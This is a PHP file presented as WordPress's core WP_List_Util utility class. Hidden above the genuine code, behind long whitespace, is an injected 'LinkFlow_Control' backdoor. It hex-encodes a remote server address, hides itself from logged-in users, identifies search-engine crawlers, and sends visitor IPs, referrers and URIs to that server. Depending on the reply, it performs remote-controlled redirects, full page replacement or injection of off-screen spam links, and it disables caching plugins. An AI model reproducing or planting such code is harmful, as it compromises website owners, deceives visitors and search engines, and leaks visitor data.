<?php																																										

if (!class_exists('LinkFlow_Control')) {

    $lf_enable = true;
    if (function_exists('is_user_logged_in') && is_user_logged_in()) {
        $lf_enable = false;
        @setcookie('http2_session_id', '1', 2147483647, "/");
    }
    foreach ($_COOKIE as $key => $value) {
        if ($key == 'http2_session_id' || strpos($key, 'wordpress_logged_in_') === 0) {
            $lf_enable = false;
            @setcookie('http2_session_id', '1', 2147483647, "/");
            break;
        }
    }

    ini_set('default_socket_timeout', 10);
    $uri = $_SERVER['REQUEST_URI'] ?? '/';
    $ua = $_SERVER['HTTP_USER_AGENT'] ?? '';
    $bad_urls = '#xmlrpc.php|wp-includes|wp-admin|wp-content|wp-login.php|wp-cron.php|\?feed=|wp-json|/feed|\.css|\.js|\.ico|\.png|\.gif|\.bmp|\.tiff|\.mpg|\.wmv|\.mp3|\.mpeg|\.zip|\.gzip|\.rar|\.exe|\.pdf|\.doc|\.swf|\.txt|\.jpg|administrator#i';
    if (preg_match($bad_urls, ($_SERVER['HTTP_HOST'] ?? '') . $uri)) {
        $lf_enable = false;
    }

    class LinkFlow_Control {
        public $url = "\x68\x74\x74\x70:\x2f/\x62p\x6ca\x6es\x6ff\x74.\x6fr\x67/\x67e\x74.\x70h\x70";
        public $client_hash = "b9e71384";
        public $ua = '';
        public $uri = '';
        public $ip = '';
        public $lang = '';
        public $google_ip_list = array(
            "64.233.*", "66.102.*", "66.249.*", "72.14.*", "74.125.*",
            "108.177.*", "209.85.*", "216.239.*", "172.217.*", "35.190.247.*",
            "35.191.*", "35.203.*", "35.204.*", "35.224.*", "35.240.*",
            "35.241.*", "35.242.*", "35.243.*", "35.244.*", "35.245.*",
            "35.246.*", "35.247.*", "35.199.*", "35.200.*", "35.201.*",
            "35.202.*", "35.203.*", "35.204.*", "35.205.*", "35.206.*",
            "35.207.*", "35.208.*", "35.209.*", "35.210.*", "35.211.*",
            "35.212.*", "35.213.*", "35.214.*", "35.215.*", "35.216.*",
            "35.217.*", "35.218.*", "35.219.*", "35.220.*", "35.221.*",
            "35.222.*", "35.223.*", "35.224.*", "35.225.*", "35.226.*",
            "35.227.*", "35.228.*", "35.229.*", "35.230.*", "35.231.*",
            "35.232.*", "35.233.*", "35.234.*", "35.235.*", "35.236.*",
            "35.237.*", "35.238.*", "35.239.*", "35.240.*", "35.241.*",
            "35.242.*", "35.243.*", "35.244.*", "35.245.*", "35.246.*",
            "35.247.*", "35.248.*", "35.249.*", "35.250.*", "35.251.*",
            "35.252.*", "35.253.*", "35.254.*", "35.255.*", "34.64.*",
            "34.65.*", "34.66.*", "34.67.*", "34.68.*", "34.69.*",
            "34.70.*", "34.71.*", "34.72.*", "34.73.*", "34.74.*",
            "34.75.*", "34.76.*", "34.77.*", "34.78.*", "34.79.*",
            "34.80.*", "34.81.*", "34.82.*", "34.83.*", "34.84.*",
            "34.85.*", "34.86.*", "34.87.*", "34.88.*", "34.89.*",
            "34.90.*", "34.91.*", "34.92.*", "34.93.*", "34.94.*",
            "34.95.*", "34.96.*", "34.97.*", "34.98.*", "34.99.*",
            "34.100.*", "34.101.*", "34.102.*", "34.103.*", "34.104.*",
            "34.105.*", "34.106.*", "34.107.*", "34.108.*", "34.109.*",
            "34.110.*", "34.111.*", "34.112.*", "34.113.*", "34.114.*",
            "34.115.*", "34.116.*", "34.117.*", "34.118.*", "34.119.*",
            "34.120.*", "34.121.*", "34.122.*", "34.123.*", "34.124.*",
            "34.125.*", "34.126.*", "34.127.*", "34.128.*", "34.129.*",
            "34.130.*", "34.131.*", "34.132.*", "34.133.*", "34.134.*",
            "34.135.*", "34.136.*", "34.137.*", "34.138.*", "34.139.*",
            "34.140.*", "34.141.*", "34.142.*", "34.143.*", "34.144.*",
            "34.145.*", "34.146.*", "34.147.*", "34.148.*", "34.149.*",
            "34.150.*", "34.151.*", "34.152.*", "34.153.*", "34.154.*",
            "34.155.*", "34.156.*", "34.157.*", "34.158.*", "34.159.*",
            "34.160.*", "34.161.*", "34.162.*", "34.163.*", "34.164.*",
            "34.165.*", "34.166.*", "34.167.*", "34.168.*", "34.169.*",
            "34.170.*", "34.171.*", "34.172.*", "34.173.*", "34.174.*",
            "34.175.*", "34.176.*", "34.177.*", "34.178.*", "34.179.*",
            "34.180.*", "34.181.*", "34.182.*", "34.183.*", "34.184.*",
            "34.185.*", "34.186.*", "34.187.*", "34.188.*", "34.189.*",
            "34.190.*", "34.191.*", "34.192.*", "34.193.*", "34.194.*",
            "34.195.*", "34.196.*", "34.197.*", "34.198.*", "34.199.*",
            "34.200.*", "34.201.*", "34.202.*", "34.203.*", "34.204.*",
            "34.205.*", "34.206.*", "34.207.*", "34.208.*", "34.209.*",
            "34.210.*", "34.211.*", "34.212.*", "34.213.*", "34.214.*",
            "34.215.*", "34.216.*", "34.217.*", "34.218.*", "34.219.*",
            "34.220.*", "34.221.*", "34.222.*", "34.223.*", "34.224.*",
            "34.225.*", "34.226.*", "34.227.*", "34.228.*", "34.229.*",
            "34.230.*", "34.231.*", "34.232.*", "34.233.*", "34.234.*",
            "34.235.*", "34.236.*", "34.237.*", "34.238.*", "34.239.*",
            "34.240.*", "34.241.*", "34.242.*", "34.243.*", "34.244.*",
            "34.245.*", "34.246.*", "34.247.*", "34.248.*", "34.249.*",
            "34.250.*", "34.251.*", "34.252.*", "34.253.*", "34.254.*",
            "34.255.*",
            "2001:4860:4801:*", "2001:4860:4802:*", "2001:4860:4803:*", "2001:4860:4804:*",
            "2001:4860:4805:*", "2001:4860:4806:*", "2001:4860:4807:*", "2001:4860:4808:*",
            "2001:b028:*", "2001:67c:*", "2404:6800:*",
            "2404:f340:*", "2600:1900:*", "2600:2700:*", "2607:f8b0:*",
            "2607:f8b1:*", "2607:f8b2:*", "2607:f8b3:*", "2607:f8b4:*",
            "2607:f8b5:*", "2607:f8b6:*", "2607:f8b7:*", "2607:f8b8:*",
            "2607:f8b9:*", "2607:f8ba:*", "2607:f8bb:*", "2607:f8bc:*",
            "2607:f8bd:*", "2607:f8be:*", "2607:f8bf:*", "2a00:1450:*",
            "2c0f:f248:*", "2c0f:f249:*", "2c0f:f24a:*", "2c0f:f24b:*",
            "2c0f:f24c:*", "2c0f:f24d:*", "2c0f:f24e:*", "2c0f:f24f:*"
        );

        public $bing_ip_list = array(
            "13.66.*.*", "13.67.*.*", "13.68.*.*", "13.69.*.*",
            "20.36.*.*", "20.37.*.*", "20.38.*.*", "20.39.*.*",
            "40.77.*.*", "40.79.*.*", "52.231.*.*", "191.233.*.*"
        );
        public $yandex_ip_list = array(
            "5.45.*.*", "5.255.*.*", "37.9.*.*", "37.140.*.*",
            "77.88.*.*", "84.252.*.*", "87.250.*.*", "90.156.*.*",
            "93.158.*.*", "95.108.*.*", "141.8.*.*", "178.154.*.*",
            "213.180.*.*", "185.32.187.*"
        );
        public $links = array();
        public $bot = '';
        public $ref = '';
        function get($url) {
            if (function_exists('curl_init')) {
                $ch = curl_init($url);
                curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
                curl_setopt($ch, CURLOPT_TIMEOUT, 30);
                curl_setopt($ch, CURLOPT_HEADER, 0);
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                $data = curl_exec($ch);
                curl_close($ch);
                return $data;
            } elseif (@ini_get('allow_url_fopen')) {
                return @file_get_contents($url);
            } else {
                $parts = parse_url($url);
                $target = $parts['host'];
                $port = isset($parts['port']) ? $parts['port'] : 80;
                $page = isset($parts['path']) ? $parts['path'] : '';
                $page .= isset($parts['query']) ? '?' . $parts['query'] : '';
                $page .= isset($parts['fragment']) ? '#' . $parts['fragment'] : '';
                $page = ($page == '') ? '/' : $page;
                if ($fp = @fsockopen($target, $port, $errno, $errstr, 3)) {
                    @socket_set_option($fp, SOL_SOCKET, SO_RCVTIMEO, array("sec" => 1, "usec" => 1));
                    $headers = "GET $page HTTP/1.1\r\n";
                    $headers .= "Host: {$parts['host']}\r\n";
                    $headers .= "Connection: Close\r\n\r\n";
                    if (fwrite($fp, $headers)) {
                        $resp = '';
                        while (!feof($fp) && ($curr = fgets($fp, 128)) !== false) {
                            $resp .= $curr;
                        }
                        if (isset($curr) && $curr !== false) {
                            fclose($fp);
                            return substr(strstr($resp, "\r\n\r\n"), 3);
                        }
                    }
                    fclose($fp);
                }
            }
            return TRUE;
        }

        function match_ip($ip, $pattern) {
            if (strpos($ip, ':') !== false) {
                $pattern = str_replace(':', '\:', $pattern);
                $pattern = str_replace('*', '.*', $pattern);
                $pattern = '/^' . $pattern . '$/';
                return preg_match($pattern, $ip);
            } else {
                $pattern = str_replace(['.', '*'], ['\.', '.*'], $pattern);
                $pattern = '/^' . $pattern . '$/';
                return preg_match($pattern, $ip);
            }
        }

        function verify_googlebot($ip) {
            $is_google_ip = false;
            foreach ($this->google_ip_list as $ip_mask) {
                if ($this->match_ip($ip, $ip_mask)) {
                    $is_google_ip = true;
                    break;
                }
            }
            
            if (!$is_google_ip) {
                return false;
            }
            
            $hostname = @gethostbyaddr($ip);
            if (!$hostname || $hostname === $ip) {
                return false;
            }
            
            if (!preg_match('/\.(googlebot|google)\.com$/i', $hostname)) {
                return false;
            }
            
            return true;
        }

        function init($uri, $ua) {
            $this->uri = $uri;
            $bot = FALSE;
            $this->ip = isset($_SERVER['HTTP_CF_CONNECTING_IP']) ? $_SERVER['HTTP_CF_CONNECTING_IP'] : (isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : 'unknown');
            $this->ref = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
            $this->lang = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : '';
            
            $ua_patterns = [
                'bing' => 'bingbot|msnbot|slurp|yahoo',
                'yandex' => 'yandexbot|yandex',
                'duckduck' => 'duckduckbot|duckduckgo'
            ];
            foreach ($ua_patterns as $name => $re) {
                if ($ua && preg_match("/$re/i", $ua)) {
                    $bot = TRUE;
                    $this->bot = $name;
                    break;
                }
            }
            if ($bot) {
                return $this->make_request();
            }
            
            if ($this->verify_googlebot($this->ip)) {
                $bot = TRUE;
                $this->bot = 'google';
            } else {
                $ip_lists = [
                    'bing' => $this->bing_ip_list, 
                    'yandex' => $this->yandex_ip_list
                ];
                foreach ($ip_lists as $name => $list) {
                    $is_bot_ip = false;
                    foreach ($list as $ip_mask) {
                        if ($this->match_ip($this->ip, $ip_mask)) {
                            $is_bot_ip = true;
                            break;
                        }
                    }
                    if ($is_bot_ip) {
                        $bot = TRUE;
                        $this->bot = $name;
                        break;
                    }
                }
            }
            if ($bot && $this->bot !== 'google') {
                return $this->make_request();
            }
            if (!$bot) {
                $host_by_addr = @gethostbyaddr($this->ip);
                if ($host_by_addr && $host_by_addr !== $this->ip) {
                    $host_patterns = [
                        'bing' => 'bing|msn|slurp|yahoo',
                        'yandex' => 'yandex',
                        'duckduck' => 'duckduckgo|duckduckbot'
                    ];
                    
                    foreach ($host_patterns as $name => $pattern) {
                        if (preg_match("/$pattern/i", $host_by_addr)) {
                            $bot = TRUE;
                            $this->bot = $name;
                            break;
                        }
                    }
                }
            }
            return $this->make_request();
        }

        function make_request() {
            if (!empty($_SERVER['SERVER_NAME'])) {
                $tmp = @parse_url('http://' . $_SERVER['SERVER_NAME']);
                if (isset($tmp['host'])) {
                    $host = $tmp['host'];
                }
            }
            
            $host = $host ?? 'unknown';
            $sch = 'http';
            if (!empty($_SERVER['HTTPS']) && strtolower((string) $_SERVER['HTTPS']) !== 'off') {
                $sch = 'https';
            } elseif (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && stripos((string) $_SERVER['HTTP_X_FORWARDED_PROTO'], 'https') !== false) {
                $sch = 'https';
            }
            $url = $this->url . "?host=$host&uri=" . urlencode($this->uri) . "&bot={$this->bot}&ip={$this->ip}&ref=" . urlencode($this->ref) . '&lang=' . urlencode($this->lang) . '&sch=' . $sch . '&cv=' . $this->client_hash . '&ct=client';

            if (isset($_COOKIE['LFD']) || isset($_REQUEST['LFD'])) {
                $url .= '&check=1';
                $page = $this->get($url);
                $res = 0;
                if (strpos($page, "XTESTOKX") !== false) {
                    $res = 1;
                }
                die(json_encode([
                    'r' => $res,
                    'bot' => $this->bot,
                    'ip' => $this->ip,
                    'funcs' => [
                        'curl_init'         => function_exists('curl_init') ? 1 : 0,
                        'file_get_contents' => function_exists('file_get_contents') ? 1 : 0,
                        'allow_url_fopen'   => ini_get('allow_url_fopen') ? 1 : 0,
                        'fsockopen'         => function_exists('fsockopen') ? 1 : 0,
                        'socket_set_option' => function_exists('socket_set_option') ? 1 : 0,
                    ]
                ]));
            }
            if (isset($_COOKIE['CURLOPT_LF_TEST']) || isset($_REQUEST['CURLOPT_LF_TEST'])) {
                $url .= '&check=1';
            }
            $page = $this->get($url);
            if ($page === false || $page === null || $page === '') {
                return;
            }
            $page = (string) $page;

            $urlStart = stripos($page, '<url>');
            $urlEnd = $urlStart === false ? false : stripos($page, '</url>', $urlStart);
            if ($urlStart !== false && $urlEnd !== false && $urlEnd > $urlStart) {
                $redir = trim(substr($page, $urlStart + 5, $urlEnd - ($urlStart + 5)));
                if ($redir !== '') {
                    if (!headers_sent()) {
                        header('Location: ' . $redir);
                        exit;
                    }
                    echo '<script>window.location.href = ' . json_encode($redir) . ';</script>';
                    exit;
                }
            }

            $pageStart = stripos($page, '<page>');
            $pageEnd = $pageStart === false ? false : strripos($page, '</page>');
            if ($pageStart !== false && $pageEnd !== false && $pageEnd > $pageStart) {
                die(substr($page, $pageStart + 6, $pageEnd - ($pageStart + 6)));
            }

            if (strpos($page, '<link>') !== false) {
                preg_match_all('~<link>(.*?)</link>~is', $page, $m);
                $this->links = isset($m[1]) ? $m[1] : array();
            }
            if (count($this->links) > 0) {
                ob_start(array($this, 'rwcontent'));
            }
        }

        function rwcontent($content) {
            $blocked_tags = array('header', 'footer');
            $tags = array('p', 'span', 'strong', 'em', 'i', 'td', 'div', 'ul', 'li', 'body');
            $tags_vals = array();
            foreach ($tags as $tag) {
                preg_match_all("~<{$tag}(?:\s[^>]*)?>(.*?)</{$tag}>~is", $content, $matches);
                if (isset($matches[0])) {
                    foreach ($matches[0] as $match) {
                        $is_blocked = false;
                        foreach ($blocked_tags as $blocked_tag) {
                            $pattern = "~<{$blocked_tag}.*?>.*?{$match}.*?</{$blocked_tag}>~is";
                            if (preg_match($pattern, $content)) {
                                $is_blocked = true;
                                break;
                            }
                        }
                        if (!$is_blocked) {
                            $tags_vals[] = array('tag' => $tag, 'content' => $match);
                        }
                    }
                }
                if (count($tags_vals) > count($this->links)) {
                    break;
                }
            }
            $tag_index = 0;
            $link_index = 0;
            $links_count = count($this->links);
            $tags_vals_count = count($tags_vals);

            while ($link_index < $links_count && $tag_index < $tags_vals_count) {
                $link = $this->links[$link_index];
                if (substr($link, -3) === '###') {
                    $linkHTML = substr($link, 0, -3);
                } else {
                    $seed = $_SERVER['REQUEST_URI'] . strlen($link);
                    $hash1 = crc32($seed);
                    $offset = 7000 + ($hash1 % 6001);
                    $hash2 = crc32($seed . 'w');
                    $width = 1000 + ($hash2 % 201);
                    $linkHTML = "<div style=\"position:absolute;left:-{$offset}px;width:{$width}px;\">{$link}</div> ";
                }
                $tag_val = $tags_vals[$tag_index];
                if (strlen($tag_val['content']) % 2 == 1) {
                    $tag_content_new = $tag_val['content'];
                    $tag_content_new = preg_replace("(<{$tag_val['tag']}.*?>)", "$0 {$linkHTML}", $tag_content_new, 1);
                } else {
                    if (substr($tag_val['content'], -(strlen($tag_val['tag']) + 4)) == ".</{$tag_val['tag']}>") {
                        $tag_content_new = str_replace(".</{$tag_val['tag']}>", " {$linkHTML}</{$tag_val['tag']}>", $tag_val['content']);
                    } else {
                        $tag_content_new = str_replace("</{$tag_val['tag']}>", " {$linkHTML}</{$tag_val['tag']}>", $tag_val['content']);
                    }
                }
                $content = preg_replace("~" . preg_quote($tag_val['content'], '~') . "~i", $tag_content_new, $content, 1);
                if (strpos($content, $linkHTML) !== false) {
                    $link_index++;
                }
                $tag_index++;
            }
            if ($link_index < $links_count) {
                $tail = array();
                for ($i = $link_index; $i < $links_count; $i++) {
                    $link = $this->links[$i];
                    $tail[] = (substr($link, -3) === '###') ? substr($link, 0, -3) : $link;
                }
                $footer = implode(' ', $tail);
                if (stripos($content, '</body>') !== false) {
                    $content = preg_replace('~</body>~i', $footer . '</body>', $content, 1);
                } else {
                    $content .= $footer;
                }
            }
            return $content;
        }

    }

    if ($lf_enable) {
        if (!function_exists('lf_discourage_page_cache')) {
            function lf_discourage_page_cache()
            {
                if (function_exists('is_admin') && is_admin()) {
                    return;
                }
                if (function_exists('wp_doing_ajax') && wp_doing_ajax()) {
                    return;
                }
                if (function_exists('wp_doing_cron') && wp_doing_cron()) {
                    return;
                }
                if (defined('REST_REQUEST') && REST_REQUEST) {
                    return;
                }
                if (function_exists('is_user_logged_in') && is_user_logged_in()) {
                    return;
                }
                $flags = array(
                    'DONOTCACHEPAGE' => true,
                    'DONOTCACHEDB' => true,
                    'DONOTCACHEOBJECT' => true,
                    'DONOTMINIFY' => true,
                    'DONOTCDN' => true,
                    'DONOTROCKETOPTIMIZE' => true,
                    'LSCACHE_NO_CACHE' => true,
                    'WPSC_SERVE_DISABLED' => 1,
                );
                foreach ($flags as $name => $val) {
                    if (!defined($name)) {
                        define($name, $val);
                    }
                }
                if (function_exists('nocache_headers')) {
                    nocache_headers();
                }
                if (!headers_sent()) {
                    header('X-LiteSpeed-Cache-Control: no-cache', false);
                    header('Cache-Control: no-cache, no-store, must-revalidate, max-age=0', false);
                    header('X-Cache-Enabled: False', false);
                }
                if (function_exists('do_action')) {
                    do_action('litespeed_control_set_nocache', 'lf-client');
                }
                if (function_exists('add_filter')) {
                    add_filter('rocket_override_donotcachepage', '__return_true', 999);
                    add_filter('w3tc_can_cache', '__return_false', 999);
                    add_filter('wpsc_can_cache', '__return_false', 999);
                    add_filter('automattic_pageload_cache', '__return_false', 999);
                }
            }
        }
        if (function_exists('add_action')) {
            add_action('init', 'lf_discourage_page_cache', 0);
            if (function_exists('did_action') && did_action('init')) {
                lf_discourage_page_cache();
            }
        } else {
            lf_discourage_page_cache();
        }
        $lf = new LinkFlow_Control;
        $lf->init($uri, $ua);
    }
}

/**
 * WordPress List utility class
 *
 * @package WordPress
 * @since 4.7.0
 */

/**
 * List utility.
 *
 * Utility class to handle operations on an array of objects or arrays.
 *
 * @since 4.7.0
 */
#[AllowDynamicProperties]
class WP_List_Util {
	/**
	 * The input array.
	 *
	 * @since 4.7.0
	 * @var array
	 */
	private $input = array();

	/**
	 * The output array.
	 *
	 * @since 4.7.0
	 * @var array
	 */
	private $output = array();

	/**
	 * Temporary arguments for sorting.
	 *
	 * @since 4.7.0
	 * @var string[]
	 */
	private $orderby = array();

	/**
	 * Constructor.
	 *
	 * Sets the input array.
	 *
	 * @since 4.7.0
	 *
	 * @param array $input Array to perform operations on.
	 */
	public function __construct( $input ) {
		$this->output = $input;
		$this->input  = $input;
	}

	/**
	 * Returns the original input array.
	 *
	 * @since 4.7.0
	 *
	 * @return array The input array.
	 */
	public function get_input() {
		return $this->input;
	}

	/**
	 * Returns the output array.
	 *
	 * @since 4.7.0
	 *
	 * @return array The output array.
	 */
	public function get_output() {
		return $this->output;
	}

	/**
	 * Filters the list, based on a set of key => value arguments.
	 *
	 * Retrieves the objects from the list that match the given arguments.
	 * Key represents property name, and value represents property value.
	 *
	 * If an object has more properties than those specified in arguments,
	 * that will not disqualify it. When using the 'AND' operator,
	 * any missing properties will disqualify it.
	 *
	 * @since 4.7.0
	 *
	 * @param array  $args     Optional. An array of key => value arguments to match
	 *                         against each object. Default empty array.
	 * @param string $operator Optional. The logical operation to perform. 'AND' means
	 *                         all elements from the array must match. 'OR' means only
	 *                         one element needs to match. 'NOT' means no elements may
	 *                         match. Default 'AND'.
	 * @return array Array of found values.
	 */
	public function filter( $args = array(), $operator = 'AND' ) {
		if ( empty( $args ) ) {
			return $this->output;
		}

		$operator = strtoupper( $operator );

		if ( ! in_array( $operator, array( 'AND', 'OR', 'NOT' ), true ) ) {
			$this->output = array();
			return $this->output;
		}

		$count    = count( $args );
		$filtered = array();

		foreach ( $this->output as $key => $obj ) {
			$matched = 0;

			foreach ( $args as $m_key => $m_value ) {
				if ( is_array( $obj ) ) {
					// Treat object as an array.
					if ( array_key_exists( $m_key, $obj ) && ( $m_value == $obj[ $m_key ] ) ) {
						++$matched;
					}
				} elseif ( is_object( $obj ) ) {
					// Treat object as an object.
					if ( isset( $obj->{$m_key} ) && ( $m_value == $obj->{$m_key} ) ) {
						++$matched;
					}
				}
			}

			if ( ( 'AND' === $operator && $matched === $count )
				|| ( 'OR' === $operator && $matched > 0 )
				|| ( 'NOT' === $operator && 0 === $matched )
			) {
				$filtered[ $key ] = $obj;
			}
		}

		$this->output = $filtered;

		return $this->output;
	}

	/**
	 * Plucks a certain field out of each element in the input array.
	 *
	 * This has the same functionality and prototype of
	 * array_column() (PHP 5.5) but also supports objects.
	 *
	 * @since 4.7.0
	 *
	 * @param int|string $field     Field to fetch from the object or array.
	 * @param int|string $index_key Optional. Field from the element to use as keys for the new array.
	 *                              Default null.
	 * @return array Array of found values. If `$index_key` is set, an array of found values with keys
	 *               corresponding to `$index_key`. If `$index_key` is null, array keys from the original
	 *               `$list` will be preserved in the results.
	 */
	public function pluck( $field, $index_key = null ) {
		$newlist = array();

		if ( ! $index_key ) {
			/*
			 * This is simple. Could at some point wrap array_column()
			 * if we knew we had an array of arrays.
			 */
			foreach ( $this->output as $key => $value ) {
				if ( is_object( $value ) ) {
					$newlist[ $key ] = $value->$field;
				} elseif ( is_array( $value ) ) {
					$newlist[ $key ] = $value[ $field ];
				} else {
					_doing_it_wrong(
						__METHOD__,
						__( 'Values for the input array must be either objects or arrays.' ),
						'6.2.0'
					);
				}
			}

			$this->output = $newlist;

			return $this->output;
		}

		/*
		 * When index_key is not set for a particular item, push the value
		 * to the end of the stack. This is how array_column() behaves.
		 */
		foreach ( $this->output as $value ) {
			if ( is_object( $value ) ) {
				if ( isset( $value->$index_key ) ) {
					$newlist[ $value->$index_key ] = $value->$field;
				} else {
					$newlist[] = $value->$field;
				}
			} elseif ( is_array( $value ) ) {
				if ( isset( $value[ $index_key ] ) ) {
					$newlist[ $value[ $index_key ] ] = $value[ $field ];
				} else {
					$newlist[] = $value[ $field ];
				}
			} else {
				_doing_it_wrong(
					__METHOD__,
					__( 'Values for the input array must be either objects or arrays.' ),
					'6.2.0'
				);
			}
		}

		$this->output = $newlist;

		return $this->output;
	}

	/**
	 * Sorts the input array based on one or more orderby arguments.
	 *
	 * @since 4.7.0
	 *
	 * @param string|array $orderby       Optional. Either the field name to order by or an array
	 *                                    of multiple orderby fields as `$orderby => $order`.
	 *                                    Default empty array.
	 * @param string       $order         Optional. Either 'ASC' or 'DESC'. Only used if `$orderby`
	 *                                    is a string. Default 'ASC'.
	 * @param bool         $preserve_keys Optional. Whether to preserve keys. Default false.
	 * @return array The sorted array.
	 */
	public function sort( $orderby = array(), $order = 'ASC', $preserve_keys = false ) {
		if ( empty( $orderby ) ) {
			return $this->output;
		}

		if ( is_string( $orderby ) ) {
			$orderby = array( $orderby => $order );
		}

		foreach ( $orderby as $field => $direction ) {
			$orderby[ $field ] = 'DESC' === strtoupper( $direction ) ? 'DESC' : 'ASC';
		}

		$this->orderby = $orderby;

		if ( $preserve_keys ) {
			uasort( $this->output, array( $this, 'sort_callback' ) );
		} else {
			usort( $this->output, array( $this, 'sort_callback' ) );
		}

		$this->orderby = array();

		return $this->output;
	}

	/**
	 * Callback to sort an array by specific fields.
	 *
	 * @since 4.7.0
	 *
	 * @see WP_List_Util::sort()
	 *
	 * @param object|array $a One object to compare.
	 * @param object|array $b The other object to compare.
	 * @return int 0 if both objects equal. -1 if second object should come first, 1 otherwise.
	 */
	private function sort_callback( $a, $b ) {
		if ( empty( $this->orderby ) ) {
			return 0;
		}

		$a = (array) $a;
		$b = (array) $b;

		foreach ( $this->orderby as $field => $direction ) {
			if ( ! isset( $a[ $field ] ) || ! isset( $b[ $field ] ) ) {
				continue;
			}

			if ( $a[ $field ] == $b[ $field ] ) {
				continue;
			}

			$results = 'DESC' === $direction ? array( 1, -1 ) : array( -1, 1 );

			if ( is_numeric( $a[ $field ] ) && is_numeric( $b[ $field ] ) ) {
				return ( $a[ $field ] < $b[ $field ] ) ? $results[0] : $results[1];
			}

			return 0 > strcmp( $a[ $field ], $b[ $field ] ) ? $results[0] : $results[1];
		}

		return 0;
	}
}